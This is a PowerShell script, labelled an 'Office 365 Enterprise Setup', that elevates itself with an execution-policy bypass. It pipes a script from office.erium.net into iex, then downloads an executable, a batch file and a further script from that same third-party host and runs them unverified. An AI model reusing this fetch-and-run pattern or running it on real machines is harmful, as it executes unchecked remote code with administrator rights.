# Obtener el idioma del sistema $langId = (Get-UICulture).Name # Establecer variables según el idioma if ($langId -eq "es-MX") { $titleTxt = "Office 365 Enterprise Kurulum | hecho por srsiaet | www.erium.net" $adminTxt = "OBTENIENDO PRIVILEGIOS DE ADMINISTRADOR..." $uiTxt = "`t`tPreparando la interface, por favor espera..." $psErr = "Ocurrio un error miestras se ejecutaba 0365.ps1." O$osErrPopup = "El Sistema Operativo no es Windows 10/11. Este Sistema Operativo no esta soportado. El proceso terminara en 5 segundos." $popupTitle = "Hecho por srsaiet | www.erium.net" } else { $titleTxt = "Office 365 Enterprise Setup | hecho por srsaiet | www.TNCTR.com" $adminTxt = "ELEVATING ADMINISTRATOR PRIVILEGES..." $uiTxt = "`t`tPreparing interface, please wait..." $psErr = "An error occurred while running o365.ps1." $osErrPopup = "The Operating System is not Windows 10/11. This application is not supported. The process will terminate in 5 seconds." $popupTitle = "made by Abdullah ERTÜRK | www.TNCTR.com" } # Establecer título de la ventana $Host.UI.RawUI.WindowTitle = $titleTxt # Cambiar tamaño de la consola $Host.UI.RawUI.BufferSize = New-Object System.Management.Automation.Host.Size(100, 4) $Host.UI.RawUI.WindowSize = New-Object System.Management.Automation.Host.Size(100, 4) # Verificar permisos de administrador $currentUser = [Security.Principal.WindowsIdentity]::GetCurrent() $principal = New-Object Security.Principal.WindowsPrincipal($currentUser) $isAdmin = $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) if (-not $isAdmin) { Write-Host "" Write-Host "" Write-Host " $adminTxt" Write-Host "" # Reiniciar con permisos de administrador $scriptBlock = "irm https://office.erium.net | iex" Start-Process powershell.exe -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command $scriptBlock" -Verb RunAs exit } # Verificar versión de Windows $osVersion = [System.Environment]::OSVersion.Version $winbuild = $osVersion.Build if ($winbuild -lt 10240) { Write-Host "" # Mostrar popup con error de versión $wshell = New-Object -ComObject wscript.shell $wshell.Popup($osErrPopup, 5, $popupTitle, 64 + 4096) Clear-Host exit } # Crear directorio temporal para los archivos $scriptPath = "$env:TEMP\Office365Setup\office" $langPath = Join-Path $scriptPath "Lang" if (-not (Test-Path $scriptPath)) { New-Item -ItemType Directory -Path $scriptPath | Out-Null } if (-not (Test-Path $langPath)) { New-Item -ItemType Directory -Path $langPath | Out-Null } # Mostrar mensaje de preparación Write-Host "" Write-Host " $uiTxt" # Definir archivos a descargar $baseUrl = "https://office.erium.net/office" $files = @{ "lang/English.ini" = Join-Path $langPath "English.ini" "lang/Spanish.ini" = Join-Path $langPath "Spanish.ini" "lang/Turkish.ini" = Join-Path $langPath "Turkish.ini" "ico.ico" = Join-Path $scriptPath "ico.ico" "setup.exe" = Join-Path $scriptPath "setup.exe" "check.bat" = Join-Path $scriptPath "check.bat" "o365.ps1" = Join-Path $scriptPath "o365.ps1" } Write-Host "" Write-Host " Descargando archivos..." Write-Host "" $downloadedFiles = @() $failedFiles = @() foreach ($file in $files.Keys) { try { $url = "$baseUrl/$file" $destPath = $files[$file] Write-Host " Descargando: $url" # Descargar respetando encoding $response = Invoke-WebRequest -Uri $url -UseBasicParsing -ErrorAction Stop # Guardar con UTF-8 y BOM if ($file -like "*.ps1" -or $file -like "*.ini") { # UTF-8 CON BOM (importante para PowerShell con caracteres especiales) $Utf8WithBomEncoding = New-Object System.Text.UTF8Encoding $true [System.IO.File]::WriteAllText($destPath, $response.Content, $Utf8WithBomEncoding) } else { # Para binarios [System.IO.File]::WriteAllBytes($destPath, $response.Content) } $downloadedFiles += $file Write-Host " ✓ Descargado: $file" } catch { Write-Host " ✗ Error: $file - $($_.Exception.Message)" $failedFiles += $file } } Write-Host "" Write-Host " Archivos descargados: $($downloadedFiles.Count)" Write-Host " Archivos fallidos: $($failedFiles.Count)" if ($failedFiles.Count -gt 0) { Write-Host "" Write-Host " Archivos que no se descargaron:" foreach ($f in $failedFiles) { Write-Host " - $f" } } # Esperar 3 segundos Start-Sleep -Seconds 3 # Ejecutar el script o365.ps1 desde su directorio $o365ScriptPath = Join-Path $scriptPath "o365.ps1" if (Test-Path $o365ScriptPath) { try { Write-Host "" Write-Host " Ejecutando o365.ps1..." # Cambiar al directorio del script para que encuentre los archivos relativos Push-Location $scriptPath & $o365ScriptPath Pop-Location if ($LASTEXITCODE -ne 0) { throw "Script execution failed with exit code: $($LASTEXITCODE)" } } catch { Write-Host "" Write-Host " $psErr" Write-Host " Error: $($_.Exception.Message)" Read-Host "Press Enter to continue" exit } } else { Write-Host "" Write-Host " Error: No se pudo descargar o365.ps1" Write-Host " Ruta esperada: $o365ScriptPath" Read-Host "Press Enter to continue" exit }